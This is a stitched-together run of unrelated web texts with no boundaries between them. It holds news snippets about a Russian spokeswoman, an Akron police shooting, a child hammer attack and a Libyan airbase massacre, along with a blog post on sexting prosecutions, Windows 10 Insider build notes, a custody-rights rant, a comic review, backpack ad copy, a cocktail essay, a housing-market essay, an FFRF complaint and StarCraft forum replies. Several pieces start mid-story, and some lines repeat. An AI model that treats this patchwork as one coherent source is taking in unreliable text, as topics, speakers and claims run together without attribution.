Instead of answering his questions, however, Zakharova railed against CNN for allegedly spreading “false news” about Russian Ambassador Sergey Kislyak, whom American officials have accused of being a spy.
“CNN accused him of being a Russian spy,” she fumed. “Come on, stop spreading lie (sic) and false news.”
While Chance tried to get her to answer more questions about the Russian government’s contacts with the Trump campaign, she instead walked away from him while angrily repeating, “Stop spreading lie (sic) and false news!”
ASUS, following the GIGABYTE’s lead, will not only increase the warranty period but they’ll also fix motherboards if damaged is caused by user and if the product is not repairable then they’ll replace it for free along with free pick up and delivery.
These changes will obviously benefit users but these might cause an increase in prices as well because to repair motherboards free of cost manufacturers will have to purchase components on their own.
The two men face felony charges in the incident that happened during a fight outside the ZAR Nightclub on South Main Street at East Exchange Street, police said in a news release.
Jamon Pruiett, 23, of East Cleveland is charged with felonious assault on a police officer and Latrent Redrick, 21, of Cleveland Heights, is charged with inducing panic, police said.
Both men remained hospitalized Monday afternoon, police said. Detectives did not provide updates on their conditions.
The police officer who shot Pruiett and Redrick was placed on paid administrative leave, which is the department's standard policy for officer-involved shooting investigations.
Detectives have not released the name of the officer involved in the shooting, but a police spokesman said he has been with the department for more than 10 years.
Officers arrived outside the bar shortly before 2:30 a.m. and found a large group of people fighting. The crowd ran when the officers pulled up, but another fight started in front of a nearby business, police said.
Redrick was seen pointing a handgun at several people, police said. An officer fired several shots, and at least one shot hit Redrick, police said.
Pruiett grabbed the gun when Redrick fell to the ground, and Pruiett fired a shot toward the officer, police said. The officer returned fire and shot Pruiett, police said.
Detectives recovered the handgun at the scene.
The shooting remains under investigation, police said.
There have been more than a dozen fights reported in or outside the bar in the past two years, according to Akron police reports. There were no serious injuries reported in any of those incidents.
Police arrested an Akron man Sept. 17 at the bar when he was found with a gun in violation of a temporary protection order. The man also claimed he was an officer with the Cuyahoga Metropolitan Housing Authority Police Department, according to a police report.
On Sept. 3, an Akron woman was punched in the face by another bar patron. Officers used pepper-spray to break up the fight, according to a police report.
Four scuffles reported within the last two years involved patrons who became angry when security guards either denied them entry into the bar or asked them to leave, reports show.
Police told ABC News affiliate KOAT-TV that Clayton Senn was seen swinging a hammer at other children in the store as well before finally coming upon his young victim. The boy’s stepfather had to be restrained by witnesses once it became clear what happened.
The 3-year-old, who was not named, was taken to a nearby hospital bleeding from his head and suffering from a fractured skull. He’s expected to recover.
Police said they have no clue why Senn attacked the children, and a detective told KOAT-TV that the suspect has thus far refused to say anything or even look at officers when they address him.
The same man was the target of a search and rescue mission last year after he went missing outside Albuquerque for three days, according to KRQE-TV. Rescuers found him stuck in the mud of a riverbed suffering from exposure, and his legs eventually had to be amputated due to the damage they sustained.
Senn was also previously charged with aggravated battery with a deadly weapon, and battery of a health care worker.
from the good-guys dept
When a moral panic really gets rolling, it often seems like there isn't enough inertia in the world to slow it down. It sure seemed that way to me when it came to "sexting", the term for people, often young folks who don't fully appreciate the consequences, sending around naked pictures of themselves or their friends. I think there might be a great many older folks who forget what it was like to be a kid and then couple that with a general fear of digital technologies and suddenly the sky is falling. That's how you end up with prosecutors who look to charge young people who engage in sexting under child pornography laws, despite the inherent ridiculousness of that situation.
Fortunately, there are indeed some smart people in government, such as Louisa County prosecutor Rusty McGuire of Virginia, who has decided against charging young people for sexting and instead do a bit of education.
According to reports from the Central Virginian and the Associated Press, an investigation by the county sheriff’s office uncovered more than 1,000 nude or sexually suggestive photos posted to Instagram accounts and shared between more than 100 teenagers in Louisa and surrounding counties. But unlike other teen sexting rings that have made national news—where sexters have been brought up on felony pornography charges or disciplined by their schools—Louisa has opted to respond to the scandalous headlines with a refreshing dose of common sense. Major Donald Lowe told the AP that although the Louisa County Sheriff’s Office is still scouring student cellphones for signs of nonconsensual sexual activity, which could result in criminal charges, most students involved won’t be prosecuted. “We said from the beginning that we’re not going to label everyone who participated in this a sex offender,” he said. “There’s no reason to destroy people’s lives and careers over this.”
Louisa schools are expanding programs to teach teenagers “the dangers of social media and how to make smart choices” and are launching a program for parents to help discuss the issue with their kids. McGuire “talks about the importance of not doing any [sexting] activities,” Straley told me. “If you put it out there, it doesn’t go away. Teenagers need to know that and understand that when they put it out there, they’re more or less saying that they’re OK with the world seeing this.”
Now, for those of you already getting your ire up for a rebuttal, the question should always be, "How is justice best served?" I would think the answer to that question should generally be to stop illicit or unwanted behavior while making sure everyone involved is impacted as beneficially as possible. That isn't done by prosecuting children who simply aren't capable of a full understanding of the consequences of their actions. Educating them on the law and the consequences, on the other hand, seems to do the job nicely. With that in mind, McGuire is actively engaging students on their turf.This is called hitting the nail on the head. Instead of throwing the legal book at someone, you educate. Share some stories about how these kinds of actions have had negative impacts, get parents involved on the issue, and meet kids on a level playing field where you openly and honestly discuss why this might not be such a good idea. Kids are kids and teenagers are going to be interested in sex, no matter what you do. But kids are also generally smarter than I think most of us adults give them credit for and they can grasp the true impact of these actions if someone takes the time to lay it out for them.Meanwhile, no children are suddenly living with a sexual predator label for the rest of their lives. That's the best solution all around.
UPDATE 3/30: Today we are releasing Windows 10 Insider Preview Build 14295 for both PC and Mobile to Windows Insiders in the Slow ring. The ISO images for the build as well as the new developer tools announced today at Build 2016 will be released shortly and available here.
Hi everyone,
Today we are releasing Windows 10 Insider Preview Build 14295 for both PC and Mobile to Windows Insiders in the Fast ring.
In addition to devices that shipped with Windows 10 such as the Lumia 550, 650, 950, 950 XL, Xiaomi Mi4, and Alcatel OneTouch Fierce XL, we are releasing this build to the list of devices that will be capable of receiving updates as part of the Windows Insider Program except the Lumia 635. We will add the Lumia 635 at a later date. Going forward – these devices will be able to receive new builds from our Development Branch that we release to the Fast and Slow rings. As we stated previously, only devices which are eligible to receive the Windows 10 Mobile upgrade will be able to get preview builds from the Development Branch.
With this build being only a few days newer than the last build, you won’t see any major new features. However, we do have a good set of fixes in this build that Insiders will enjoy.
Here’s what’s fixed for PC
We fixed the issue that was causing PCs to freeze when plugging in an Xbox One or Xbox 360 controller and other gamepads.
We fixed an issue where Microsoft Edge would refresh the tab if you pressed caps lock in a password field.
We fixed an issue preventing the Xbox app and other Xbox Live enabled apps and games from signing in.
We have fixed the driver bug that prevents Kaspersky Anti-Virus, Internet Security, or the Kaspersky Total Security Suite installed from working as expected in builds from the Development Branch.
Here’s what’s fixed for Mobile
We fixed the issue where if you reset your phone on Build 14291 and restore your phone from a backup, restore will fail to install apps from your backup’s apps list leaving blank grey titles on Start. You should be able to reset your phone on this build, do a restore from a backup, and have your apps installed and restored appropriately.
We fixed an issue where new languages and keyboards were not downloading. However, there is an issue where the “reboot” UX doesn’t appear in the Settings app after downloading a new language or keyboard. You will need to go to Update & security > Phone update and restart your phone manually from there for the new language and keyboard to go into effect.
Known issues for PC
We are aware of issues with Narrator and other screen reader apps being unable to read the menu options in the Feedback Hub, as well as issues with Narrator not reading selected text in the Feedback Hub, Cortana, and other apps. We’re working diligently to fix these bugs as soon as possible and apologize to Insiders impacted by this.
If you use Hyper-V and have a Virtual Switch configured for your network adapter, you may see an error indicator (red-colored “X”) for your network adapter in the notification area of your taskbar. The error indicator is incorrect and your network adapter should continue to work just fine.
On some PCs with TPM chips, such as the ASUS Zenbook UX31, you may experience glitchy audio and jumpy movement when using the trackpad due to the “tpm-maintenance” task running constantly in the background instead of once per boot-up like it should. As a temporary workaround, you can disable the tpm-maintenance task in Task Scheduler (under \microsoft\windows\tpm).
PCs that use Windows Hello or a PIN to sign-in to the device will launch the Microsoft Passport service. When this happens, there is an issue in this build where Bluetooth will then repeatedly scan for devices. This causes a few issues on the PC including reduced battery life, audio glitches, responsiveness issues with Bluetooth keyboards and mice, a decrease in Wi-Fi throughput on Wi-Fi/Bluetooth combo chipsets, and a decrease in throughput for Bluetooth file transfers. As a workaround, you can disable the Microsoft Passport (NgcSvc) service by opening an elevated Command Prompt, run “reg add HKLM\System\CurrentControlSet\Services\NgcSvc /v Start /t REG_DWORD /d 0x4 /f” and then reboot. However, you will not be able to use Windows Hello or a PIN to sign-in to your device. The service will be re-enabled again when you update to the next build.
After upgrading to this build from Build 14291, attempting to connect to a Miracast receiver the connection will fail. The workaround to get out of this state is to go to this registry key “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\
Parameters” and select “StandaloneDhcpAddress” and change the value from “192.168.173.1” to “192.168.137.1” (value type is REG_SZ). Then retry the connection to the Miracast receiver.
Parameters” and select “StandaloneDhcpAddress” and change the value from “192.168.173.1” to “192.168.137.1” (value type is REG_SZ). Then retry the connection to the Miracast receiver. We are seeing reports of some apps such as QQ crashing. We are currently investigating, and this bug may also impact older apps such as Windows Live Mail and Expression Encoder 4.
Known issues for Mobile
After updating to the most recent builds from our Development Branch, a system API failure occurs after the update that causes the Microsoft Band 1 or 2 to have sync issues. To get out of this bad state, you can reset your phone on this build, re-pair your Microsoft Band, and syncing should work again.
After upgrading to this build from a previous build from our Development Branch, attempting to connect to a Miracast receiver the connection will fail. There is no workaround for this issue unfortunately on Mobile.
The Gadgets app will not detect the Microsoft Display Dock on phones running Windows 10 Mobile Insider Preview builds, and thus cannot update the firmware version. If you have a dock which has already been updated to version 4 then this will not affect you. If you have a dock that has not been updated, then you may experience some minor issues with USB-C stability. You will still be able to use your dock and Continuum.
As always – thank you for being Windows Insiders and make sure to send us feedback on any issues you run into with these builds in the Feedback Hub.
Thanks,
g
Sadly the judges, attorneys. mediators and their minions disagree…
http://www.dailymail.co.uk/sciencetech/article-4837570/Study-finds-separated-parents-split-custody-equally.html#ixzz4rPumnoKN
It is common knowledge by intelligent parents, there are countless studies by the greatest minds in the greatest universities all around the world but more importantly… Our children understand and wish they could share equally in the lives of both parents in such matters.
So, what is the issue, 50 BILLION dollars a year generated by judges, attorneys, mediators and other minions to keep the animosity ongoing, no matter the cost to our children and the future of our society.
Of course, this does not include the over 400 BILLION dollars and much more dispersed in incentives and more to separate children from one of the parents through the Social Security Act’s Title IV-D program and of course over 80% of the time the alienated parent is the father. Nor does this include the over 660 million dollars dispersed to the domestic violence industry to further perpetuate false allegations.
Talking on Facebook, blogs, posting meme’s is simply not working, certainly hiring attorneys does not work as it is their job to create greater animosity in an effort to continue the process until all family assets are in fact depleted and the children are alienated from one of their parents, usually the father.
If I were to kill a baby seal tomorrow, it would be front page news world wide, yet our own children are abused by our own government every single day and no one does anything… What is more valuable to you? Your child or that baby seal? It is time to stand up, lock arms as we have since the founding of this country and every social injustice since that time. We the people must lock arms, we must refuse to hire attorneys and we must make our demands known, we as parents will protect our children or, we are willing to die trying.
This must be the evolution to the revolution, we can no longer know our children are being abused and allow such actions to occur.
An attack on an airbase in southern Libya has killed 141 people, mostly soldiers loyal to military strongman Khalifa Haftar, according to a spokesman for his forces.
Khalifa Haftar: renegade general causing upheaval in Libya Read more
On Thursday, members of the Third Force militia loyal to the UN-backed government of national accord (GNA) in Tripoli attacked the base used by Haftar’s self-proclaimed Libyan National Army (LNA), according to military sources.
An LNA spokesman, Ahmad al-Mesmari, said that the victims included civilians who worked at the Brak al-Shati airbase or who were in the nearby area. “The soldiers were returning from a military parade. They weren’t armed. Most of them were executed,” he said.
The GNA said that a commission of inquiry had been set up to investigate the attack. It said it had decided to suspend its defence minister, Al-Mahdi al-Barghati, and the head of the Third Force from their duties until those responsible were identified.
The GNA and defence ministry condemned the assault and said they had not ordered any such action.
The unity government, the rival administration in eastern Libya and their respective backers are battling for influence in the north African country, which has been wracked by chaos since the fall of dictator Muammar Gaddafi in 2011.
The LNA does not recognise the authority of the GNA and instead supports the rival authorities based in the east.
The UN envoy to Libya voiced alarm at reports of the attack on the base, 650km (400 miles) south of Tripoli. “I am outraged by reports of significant numbers of fatalities, including civilians and by reports that summary executions may have taken place,” the UN envoy, Martin Kobler, said.
Britain’s ambassador to Libya, Peter Millett, also denounced the assault. “Disgusted by attack on Brak al-Shati & reports of mass executions. Perpetrators must be brought to justice,” he wrote on Twitter.
The incident at the base in Wadi al-Shati district took place a month after an attack by the LNA on the Tamenhant airbase controlled by the Third Force near the south’s main city of Sebha.
Trump aide drew plan on napkin to partition Libya into three Read more
That attack was called off after a reconciliation meeting between Haftar and the head of the unity government, Fayez al-Sarraj, in Abu Dhabi on 2 May.
The speaker of the eastern-based parliament, which is supported by the LNA, accused the Misrata-based Third Force of a “serious breach of the truce agreement reached in Abu Dhabi”. Aguila Saleh said there were a “number of martyrs” in LNA ranks, without giving a figure.
The speaker said he had given orders for the armed forces “to take the measures necessary to respond to the assault and defend the south and cleanse it of all outlaw militias”.
In Tripoli, the GNA called for an immediate ceasefire in the south where tribes and militias vie for control of lucrative smuggling routes with neighbouring Chad, Niger and Sudan. “We hope reason will prevail and that the escalation and provocation will stop,” it said.
The unity government’s defence ministry laid the blame on “those who started bombing Tamenhant base with warplanes and tanks,” referring to Haftar’s forces.
Batman Rebirth issue #1 has a lot to live up to. Scott Snyder‘s New 52 run was unparalleled. The work he and Greg Capullo produced was unmatched in the rebooted universe in my opinion and they subverted the way that the Dark Knight was viewed for modern comic book audiences.
Tom King is now at the helm of the franchise and whilst I’ve not read any of his work I’ve heard good things.
That’s why I’m really excited to see if he can carry on the consistent level of quality that was set by his predecessor or if he will fall like so many others before him.
So with that out the way let’s dive right in to Batman: Rebirth Issue #1.
For every season turn, turn, turn
The issue primarily centres around Duke Thomas being brought into the Bat Family amidst Batman taking down the Calendar Man.
One of my favourite aspects of The Long Halloween and Dark Victory, it’s nice to see the villain return, even if he is more based in the supernatural as opposed to the psychological.
Reinvented as a man who ages with the seasons and then is reborn in spring anew, he is attempting to destroy Gotham with poisonous spores.
The plot never really amounts to much and unfortunately these Rebirth Issues are far to short to fulfil any substantial arc over their short length. As the start of a new take it unfortunately feels rather weak.
Mikel Janin
What I can say on the positive side is that Mikel Janin‘s artwork is stellar. Far surpassing Capullo in my opinion he paints a realistic world for the Caped Crusader, draped in grandeur and a sense of scale. Watching Bruce hang from a Wayne Tower Helipad similar to the skyscraper daredevils that now are rampant across Facebook, to the Rebirth Batcave, everything feels solid, well thought out and crafted to the highest precision. It’s a shame that King couldn’t match his counterpart in this issue as we would have been in for an outstanding introduction to the pair.
The Conclusion
Ending on Duke and Bruce in the Wayne Courtyard kicking a tree (it’s a callback to Year One just incase you think they like to stand around kicking trees). It summarises that whilst the Calendar Man will be back bigger and better and so will Bruce and Duke. Whilst it’s a nice end it didn’t feel me with that triumphant nostalgia that I got with Snyder, knowing that Bruce would be ready, come what may.
And due to that it feels like a disappointment.
The Verdict
Batman: Rebirth #1 is an average entry. For something that is supposed to start off a new arc, introducing a new creative team, I expected more. It’s not bad. Just when you’re coming off the heels of Scott Snyder it’s difficult to not be disappointing.
That’s why I’m giving this a…
The Gregory Contour and Cairn series of backpacking packs both feature the new intuitive Trail Smart packing system for more efficient organization. The system divides up the backpack into three separate packing compartments: Camp, Trail, and On-the-Go.
The Camp compartment (1) is for all the gear you won’t need until you roll into camp, such as your tent, sleeping bag, cooking system, and food stash. By keeping all the heavier and bulky items close to your center of gravity, you will have better balance over uneven terrain and a more comfortable ride. As water is also heavy, an external hydration sleeve is positioned at the back of the pack but close to the top for easy access.
The Trail compartment (2) is for all those extra layers you don’t immediately require but might need at some point along the trail, such as your rain jacket or warmer layers, headlamp, maps, and snack food. The large slot pocket on the front is great for stowing your water shoes for those inevitable creek crossings. The On-the-Go section (3), with its two roomy side pockets and hip pockets, is for all those items you want while hiking, such as water bottles, camera, lipbalm, GPS, and snacks.
The Contour and Cairn packs both feature a water-resistant top cover pocket with waterproof zipper and sealed seams. An integrated rain cover lets you quickly waterproof your pack, enabling you to keep moving worry-free through bad weather on the trail.
Even with a pack weighing less than 4 lbs itself, the Response LT wire frame suspension system will comfortably support up to 45 lbs. Gregory’s new MonoBond Architecture in the harness provides stable and comfortable load carrying in a thin, lightweight package, with shoulder straps that retain their shape and structure under load.
The Texanist, despite what you may have come to believe over these years, does not know it all. In fact, there are numerous matters about which he is completely ignorant. Just ask Mrs. Texanist. Sometimes it is surprising just how unfamiliar he can be with a given subject. But it’s particularly amazing when he comes across a thing that has somehow, despite his fifty-plus years of life on this earth, completely escaped him.
This is precisely what happened with the Chilton cocktail, the simple and citrusy adult beverage that every Lubbockite, every Texas Tech alumnus, most every resident of the vast South Plains, and a scant few others have been imbibing for as long as they can remember.
Until just a few years ago I had never even heard of a Chilton, much less enjoyed its tart and crisp effervescence. The drink and I were first introduced by a Lubbock-area native and Tech alum co-worker. And then tippling colleague Courtney Bond mentioned the drink’s historical vagaries in her May 2016 Vittles column, stirring my curiosity.
The Chilton’s origin story, as told on the World Wide Web, is short, sweet, and completely unsubstantiated by way of any concrete documentation. In some unspecified year, a man or, possibly, a woman, known only as Dr. Chilton, asked a bartender at the Lubbock Country Club to salt the rim of a highball glass; fill it with ice, the juice of two lemons, one and a half ounces of vodka, and enough soda water to top it off; and then stir it gently, garnish it with a lemon wheel, and serve it to him. Or her. Ladies and gentlemen, meet the Chilton cocktail. That’s it. There’s nothing more.
Who, I’ve wondered, was this Dr. Chilton? What kind of medicine did he or she practice? Exactly when did this occur? Is Dr. Chilton still alive? Would it be possible to send a note of thanks for coming up with this tantalizingly tangy tincture?
It was in search of answers to such questions that I recently found myself pounding the pavement—as well as a number of Chiltons—in the Hub City like some sort of thirsty, alcoholic gumshoe.
The venerable Lubbock Country Club would be my first stop. On a beautiful May afternoon, I met with Jerod Becton, the general manager and CEO. Becton, a good-humored guy, explained to me with pride how the lounge where we had bellied up to the bar, a comfortable alfresco spot, was a new addition to the club named, would you believe, Chilton’s.
At Chilton’s, Becton introduced me to clubhouse manager Joey Porter, also a real nice fellow. Porter, a former waiter, mixed up two Chiltons for me. Chilton varietals have become a thing in Lubbock, and alongside my classic rendition sat a delicious version that utilized Deep Eddy Ruby Red vodka in lieu of the plain stuff.
As we overlooked the golf course and its surprising-for-Lubbock verdancy while I took alternating sips from my Chiltons, Becton explained that the drink’s origin was a bit of a mystery. Everyone knew the story, but nobody knew who Dr. Chilton was. Curiously, there is no record of a Dr. Chilton having been a member of the club—though it should be noted that membership rolls only go as far back as the early fifties.
My two new friends had a steak dinner to prepare for and I had kept them too long, so I polished off my cocktails and headed out. But not before chatting with the club receptionist, Cleetta Hatchett, who has been with the LCC for 39 years. Hatchett, a pleasant woman, started out as a bartender and recalled quite clearly that the club was serving Chiltons back when she began—the earliest sighting of the Chilton I have been able to document. Ms. Hatchett, while helpful, was unable to corroborate the story of the drink’s creation.
My next stop was Chimy’s Cerveceria, a watering hole across from the Tech campus. The students were gone for the summer, but the bar was hopping. Though I didn’t see a lot of Chiltons being drunk, the young bartender didn’t skip a beat when I placed my order. “Serve a lot of these?” I yelled at her. “Huh?” she said. “Do you serve a lot of Chiltons?” “Oh, yes. Lots! They’re a Lubbock thing.” “Thank you,” I said before making my way to the patio.
From Chimy’s I made my way over to the Lone Star Oyster Bar, on 34th Street. It had been recommended as one of Lubbock’s best purveyors of Chiltons. The O Bar, as it is known, a place where cigarette smoking appears to be mandatory, is as charmingly lowbrow as the LCC is highbrow. It serves delicious Chiltons in large, remarkably affordable schooners. For some reason, maybe geography, I was surprised, despite the business’s name, to see that they were shucking actual oysters behind the bar. I passed.
Cafe J had also been recommended. I found a seat at the bar, which was ably tended by an efficient young man who goes by the name Kinny McKinney. McKinney, who made a nice Chilton and served me an excellent pork chop, had little to add to my Chilton knowledge base. He suggested a nearby bar called Flippers Tavern, a place, he said, that mixed up a top-notch Chilton.
Kinny McKinney did not mislead. Flippers, as stylish a pinball-themed bar as I have ever had the pleasure of stumbling into, was lively, and the barkeep recommended a novelty Chilton made with Sweden’s Svedka cucumber-lime vodka. While it sounds a little odd, the subtle cucumber flavor works quite well with the salt and lemon. Flippers has a heck of Chilton, but I left there, slightly wobbly, without scoring any answers.
All the lemon juice was beginning to take its toll on my tummy, and it was time to call it a night. But the lobby bar at my hotel was buzzing. “May I have a Chilton, please?” “Tito’s?” the bartender asked. “Sure. Hic! Excuse me.”
Good night, Dr. Chilton, whoever you are.
I popped up the next morning feeling surprisingly chipper. But the mystery I had come to Lubbock to investigate remained unsolved. So, on my way out of town, I stopped by the main branch of the Lubbock public library to peruse some old city directories.
Because the Lubbock Country Club was established in 1921, I began around that time and went on up through the decades, looking for Chiltons involved in the medical profession. 1928: an oilman named Chilton. 1933: a traveling salesman. 1940: a foreman. And then another salesman, a carhop, a brick mason, a student, and so on. Lubbock has almost always been populated with Chiltons, but I never found one who was listed as a physician, or even a professor.
Perhaps “Doc” was simply a nickname, unassociated with any profession. Or perhaps Chilton lived outside Lubbock proper. Maybe in Wolfforth, or Shallowater, or Idalou. I suspect we’ll never know.
I believe it was the tennis star Arthur Ashe who said, “Success is a journey, not a destination. The doing is often more important than the outcome.” Hear, hear and a cheer to that. In the end, despite my best efforts, the only thing I actually got to the bottom of during my time in Lubbock was a bunch of Chilton cocktails. Hardly a failure in my book.
On the road back to Austin, my mind turned to ranch water. Have you ever had a ranch water? It’s sort of like a Mexican Chilton, made with tequila, orange liqueur, lime juice, and Topo Chico. It’s said to have been born somewhere in the Trans-Pecos, maybe in Fort Davis, or maybe at the Gage Hotel, in Marathon. I wonder.
What If Housing Is Done for a Generation?
What if housing valuations are in a structural, multi-decade decline?
A strong case can be made that the fundamental supports of the housing market-- demographics, employment, creditworthiness and income--will not recover for a generation. It can even be argued that housing has lost its status as the foundation of middle class wealth, not for a generation, but for the long term.
Let's begin by noting that despite the many tax breaks lavished on housing--the mortgage interest deduction, etc.--there is nothing magical about housing as an asset. That is, its price responds in an open, transparent market to supply and demand and the cost of money and risk.
There are a number of quantifiable inputs that feed into supply and demand--new housing starts, mortgage rates and income, to name three--but there are other less quantifiable inputs as well, notably the belief (or faith) that housing will return to being a "good investment," i.e. rising in price roughly 1% above the rate of inflation.
If this faith erodes, then the other factors of demand face an insurmountable headwind, for the most fundamental support of housing is the belief that buying a house is the first step to securing middle class wealth.
Rising rates of homeownership require five conditions:
1. Favorable demographics: a cohort of potential buyers that is larger than the cohort of potential sellers.
2. Rising household formation rates: an expanding population does not necessarily translate into rising rates of household formation. If the number of people per household goes up, then the number of households can plummet even as population expands.
3. A large cohort of creditworthy potential buyers: that means buyers with savings, buyers with sufficient income to pay the mortgage and buyers with low debt loads.
4. An economy that generates rising incomes to support homeownership.
5. An unshakable belief that owning a house is a favorable and secure investment that will rise in value in the decades ahead.
If the first four conditions have eroded, then the belief in the permanence of a rising housing market will also erode.
The demographics are not favorable to housing on a number of fronts. Jim Quinn recently posted some devastating charts of U.S. demographics in his brilliant post CAUSE, EFFECT & THE FALLACY OF A RETURN TO NORMALCY (The Burning Platform).
Without going into too much detail, we can stipulate that the Baby Boom (65 million people) will be downsizing their housing, i.e. selling for the next two decades. We can also stipulate that most of the Baby Boom no longer has the wherewithal to buy second homes; rather, they will be dumping second homes to pay for living expenses as earnings, interest income and housing equity have all cratered since 2007.
Not only are there not enough younger workers to buy all these millions of homes that will be put on the market, few of those younger workers have either the creditworthiness or income to buy a house unless the Federal government gives them essentially free money and a no-down payment entry. With the Federal deficit skyrocketing, that sort of giveaway won't last long.
Labor's share of the national income has plummeted to historic lows. How can households be expected to buy a house when their real (inflation-adjusted) income declines year after year?
Labor share is the portion of output that employers spend on labor costs (wages, salaries, and benefits) valued in each year’s prices. Nonlabor share—the remaining portion of output-- includes returns to capital, such as profits, net interest, depreciation, and indirect taxes.
This chart suggests that a fundamental structural shift has taken place since the dot-com bubble popped in 2000: labor's share of the national income is in a secular long-term decline. That does not bode well for household income going forward.
Meanwhile, income has declined, especially for younger workers. Soaring Poverty Casts Spotlight on ‘Lost Decade’:
According to the Census figures, the median annual income for a male full-time, year-round worker in 2010 — $47,715 — was virtually unchanged, in 2010 dollars, from its level in 1973, when it was $49,065. Overall, median household income adjusted for inflation declined by 2.3 percent in 2010 from the previous year, to $49,445. That was 7 percent less than the peak of $53,252 in 1999.
Notice that the only age brackets with flat or rising incomes are the over 55 cohort; everyone younger than 55 has seen their income slashed. And this is assuming "official" inflation is accurate; if it understates real inflation (loss of purchasing power), then the income declines are actually much more severe than charted here.
Part-time jobs and temp jobs do not generate enough stable income to support a mortgage. The only measure of employment that really matters in housing is fulltime employment, and that has declined to levels of 1999-2000 even as the workforce has added tens of millions of potential workers (all of whom have been deleted from the official workforce by Federal bean counters as "not in labor force" or "discouraged workers").
I don't have time to assemble the statistics for this entry, but the number of people with fulltime jobs that pay enough to support a mortgage is smaller than the number of fulltime workers. In other words, people working fulltime at or near minimum wage have a difficult time qualifying for a non-subsidized mortgage.
Household formation is also in a long-term decline. The chart depicts the housing bubble spike when marginally qualified people bought homes. Once the bubble popped, household formation plummeted and then returned to the declining trendline.
Recall that there are about 130 million housing units in the United States. About 112 million housing units are occupied: 75 million by owners and 37 million by renters. There are are about 19 million vacant dwellings: about 8.5 million second homes and vacation rentals, 2.5 million home for sale and another 8 million "vacant for other reasons" in Census-speak. (All number are approximate, drawn from 2010 Census Bureau data.)
If we subtract the 4 million second homes, that leaves about 15 million homes that could be occupied by owners or renters. With an average household size of about 2.5 people, that means we already have enough dwellings to house an additional 15 million households or 37 million people.
But this calculation overlooks the financial realities of declining income: the number of people per household is likely rising as fewer people can afford their own homes or apartments.
This oversupply of dwellings and soft demand is reflected in this chart of housing activity: despite unprecedented Federal subsidies and Federal Reserve pump-priming (buying impaired mortgages, lowering interest rates, etc.), housing has flatlined.
What few are willing to entertain is the possibility that housing is no longer the foundation of middle class wealth, and that its decline is structural, not cyclical. If we think of housing as an asset class that reflects not just demographics and income but financialization (i.e. hollowing out), then perhaps it is simply following the S-curve of financialization:
Lastly, we must consider the impact of declining employment, stagnating income and skyrocketing rates of student-loan debt on the creditworthiness of young potential buyers. If someone exits college with $100,000 in student-loan debt, how much will they have to earn to qualify for a $100,000 mortgage? How many graduates will earn that sum on a secure basis? Perhaps not as many as is generally assumed.
If the risk of default is once again priced into mortgages--that is, if the mortgage market ever ceases to be socialized and 99% guaranteed by Federal agencies--then we can also anticipate higher standards for qualification and a shrinking pool of qualified buyers.
It's easy to qualify people for a mortgage. The hard part is making sure they will have enough income and faith to service the mortgage for the next 30 years. If demand is softer than supply, prices will decline. If the belief that housing is the "best, most secure investment" fades, then so too will demand.
When the Lord was creating peace officers, he was into his sixth day of overtime when an angel appeared and said, “You’re doing a lot of fiddling around on this one.” … The angel circled the model of the peace officer very slowly, “Can it think?” she asked. “You bet,” said the Lord. “It can tell you the elements of a hundred crimes; recite Miranda warnings in its sleep; detain, investigate, search, and arrest a gang member on the street in less time than it takes five learned judges to debate the legality of the stop… and still it keeps its sense of humor.
Turns out that’s not the only problem. The Freedom From Religion Foundation sent a letter to the Sheriff’s Office recently documenting another religious poem as well as an even more egregious constitutional violation: They have an official Chaplain who “may be called upon to lead in prayer for such activities as graduations, meeting, banquets, etc.” and is available “to conduct training for department personnel and their families in such areas as stress management, ethics, dealing with death, personality profiles, etc.”
… it is unconstitutional for a public sheriff’s office to indicate a preference for Christianity and religion by quoting the Christian bible and posting religious stories on its official website. This proselytizing message gives the appearance of government endorsement of Christianity. It also conflicts with personal religious and nonreligious views of many area residents and employees. … We ask that you discontinue all coordination with the chaplain program. The best approach by the LCSO is to provide secular support services and trainers and leave determinations on religious matters to individuals. In addition, the LCSO must remove all inappropriate religious material from its website.
FFRF attorneywrites:
The Sheriff’s Office is being especially sneaky about this, because both the chaplain and the religious poems aren’t directly accessible from the main website. Which I assume means they either are trying to hide the pages or once linked to them more directly than they do now.
In any case, it all sends the wrong message: That the people tasked with protecting all the people in the community care more about Christians than everyone else.
ps: Think this is in the wrong section? Haypro. Those are some tough maps! Thanks Motbob. Always hard at work.ps: Think this is in the wrong section?
darthcaesar Profile Blog Joined June 2010 United States 475 Posts #3 Sick!
Can't wait. He is wisest who knows he does not know. | (┛OДO)┛彡┻━┻
Ragoo Profile Joined March 2010 Germany 2423 Posts #4
Funny not to see any imba anti-Zerg maps anymore^^ Ret ZvT on Crevasse and Tal'Darim, I predict 2:0Funny not to see any imba anti-Zerg maps anymore^^ Member of TPW mapmaking team/// twitter.com/Ragoo_ /// "goody represents border between explainable reason and supernatural" Cloud
Slivered Skin Profile Joined September 2010 Canada 347 Posts #5 I'm looking forward to seeing all of the new maps in action. We should be able to get a better idea of what they're like after this GSL. Those most oft mated find love’s motive in a word: inebriated - Get well Violet!! And sC!! T_T
Kammalleri Profile Joined November 2010 Canada 570 Posts #6 I think I'll buy GSL pass for this season for the first time. I pulled some allnighter to watch some games I wanted to watch, but the whole thing just looks insane.
Xswordy Profile Joined December 2010 United Kingdom 424 Posts #7 Damn I'm so excited!!! About time.
BeMannerDuPenner Profile Blog Joined April 2004 Germany 5468 Posts #8 reading a maplist without having to rage about it is a great new expirience in sc2! life of lively to live to life of full life thx to shield battery
godemperor Profile Joined October 2010 Belgium 2022 Posts #9 On February 17 2011 03:19 Numy wrote:
Haypro . Those are some tough maps! Thanks Motbob. Always hard at work.
ps: Think this is in the wrong section? Haypro. Those are some tough maps! Thanks Motbob. Always hard at work.ps: Think this is in the wrong section?
Im just glad that GSL is at a point when Shakurus and Scrap Station are considered to be hard maps, granted scrap and close position shakurus are not easy, but compared to some of the maps which were removed from the map pool, they are pretty good. Im just glad that GSL is at a point when Shakurus and Scrap Station are considered to be hard maps, granted scrap and close position shakurus are not easy, but compared to some of the maps which were removed from the map pool, they are pretty good.
awu25 Profile Joined April 2010 United States 2003 Posts #10 On February 17 2011 03:19 Numy wrote:
Haypro . Those are some tough maps! Thanks Motbob. Always hard at work.
ps: Think this is in the wrong section? Haypro. Those are some tough maps! Thanks Motbob. Always hard at work.ps: Think this is in the wrong section?
is every map still tough for zerg? i don't get where this is coming from... is every map still tough for zerg? i don't get where this is coming from...
darmousseh Profile Blog Joined May 2010 United States 3427 Posts #11 Incoming 0/3 for protoss on scrap station which is definitely the most anti-protoss map by far. Wonder how the new maps will turn out.
